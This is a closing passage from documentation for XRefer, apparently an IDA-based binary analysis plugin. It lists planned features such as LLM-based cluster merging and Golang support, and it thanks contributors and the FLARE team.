• Research and potentially implement path-independent clustering methodologies (the primary benefit here would be speed improvements if path analysis is not required)

• Implement LLM-based cluster merging (helps neatly tuck away similar clusters such as those belonging to a library)

• Ensure proper support for non-Windows file formats

• Add support for other language modules, particularly Golang

Currently, XRefer is tightly coupled with IDA due to its TUI implementation. As the core matures, the processing engine may be decoupled into a standalone package.

Acknowledgements

Special thanks to Genwei Jiang and Mustafa Nasser for their code contributions to XRefer and to Ana Martinez Gomez for including XRefer in the default FLARE-VM configuration. Additional thanks to the FLARE team members who provided valuable feedback through their use of XRefer.